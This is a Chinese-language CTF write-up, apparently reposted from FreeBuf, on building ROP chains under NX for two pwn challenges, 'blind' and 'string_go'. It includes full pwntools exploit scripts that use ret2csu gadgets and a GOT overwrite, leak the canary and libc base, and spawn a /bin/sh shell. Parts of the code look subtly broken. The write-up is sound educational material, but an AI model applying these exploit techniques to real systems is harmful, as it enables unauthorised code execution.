剖析NX开启状态下ROP的构造
2022-1-20 14:9:7 Author: www.freebuf.com(查看原文) 阅读量:7 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

前言

在学习pwn的过程中,我们通常会碰到开启NX的情况,也就是堆栈不可执行,在这种情况下,我们要利用栈内的未被清空的内容或者例如init这种函数,来进行构造rop,进一步编写exp拿到shell。

blind init

首先用IDA查看文件:

很明显的一个栈溢出漏洞:接着我们checksec一下:

就看见一个NX开启,这个很明显我们通过init上的几个汇编代码:



将数据存入寄存器,再利用

来运行其中寄存器r12中的东西,很常见的思路。

我们决定利用

这两个函数来在bss段。

构造system(‘bin/sh’)这个危险函数。

引入:

构建payload:

注入:打通

exp如下:

from pwn import *p = remote()ELF = ELF("./blind")payload = "a" * (0x50+0x8)payload = p64(0x4007BA)    payload += p64(0x0)     payload += p64(0x1)     payload += p64(ELF.got["read"])    payload += p64(1)    payload += p64(ELF.got["alarm"])    payload += p64(0)    payload += p64(0x4007A0)   payload += 'A' * 56     payload = "a" * (0x50+0x8)payload = p64(0x4007BA)    payload += p64(0x0)     payload += p64(0x1)     payload += p64(ELF.got["read"])    payload += p64(0x3b)    payload += p64(0x601088)    payload += p64(0)    payload += p64(0x4007A0)   payload += 'A' * 56    payload = "a" * (0x50+0x8)payload = p64(0x4007BA)    payload += p64(0x0)     payload += p64(0x1)     payload += p64(ELF.got["alarm"])    payload += p64(0)    payload += p64(0)    payload += p64(0x601088)    payload += p64(0x4007A0)   payload += 'A' * 56payload += (0x500 - len(payload)) * "a"p.send(payload)p.send("\xd5")p.send("/bin/sh\x00" + "abc" )p.interactive()

string_go

先打开ida看看

checksec一下,发现保护全开......

接着我们继续看代码:

可见我们第一次输入的会先进行一个splite和一系列验证,之后再输入绕过lative_func,我们首先绕过这些再通过它获取canary。

可以看到,要绕过:

绕过的话就需要输入一个-7,而最后那个直接输入一个\x10就可以了。

接下来就是常规操作,获取canary,获取libc地址,最终cat flag,行云流水。

exp如下:

from pwn import *p = remote(,)context.log_level = "debug"context.arch = "amd64"elf = ELF("./string_go")p.sendlineafter(">>> ", "1+2")p.sendlineafter(">>> ","-7")p.sendlineafter(">>> ","helloword")p.sendlineafter(">>> ","\x10")p.recv(0x38)canary = u64(p.recv(0x6).ljust('/x00',8))p.recv(0x18)elf.address = u64(p.recv(0x8)) - 0x254Dp.recv(0x98)libc.address = u64(p.recv(0x8)) - 0x7fbdd8975bf7 - 0x7fbdd8954000shell = p64(elf.address + 0x3cf3)shell += p64(next(libc.search("/bin/sh")))+p64(libc.sym["system"])payload = "a" * 0x18payload += p64(canary)payload += "a" * 0x18payload += p64(elf.address+0x14ce)payload += shellp.sendline(payload)p.interactive()

文章来源: https://www.freebuf.com/vuls/320380.html
如有侵权请联系:admin#unsafe.sh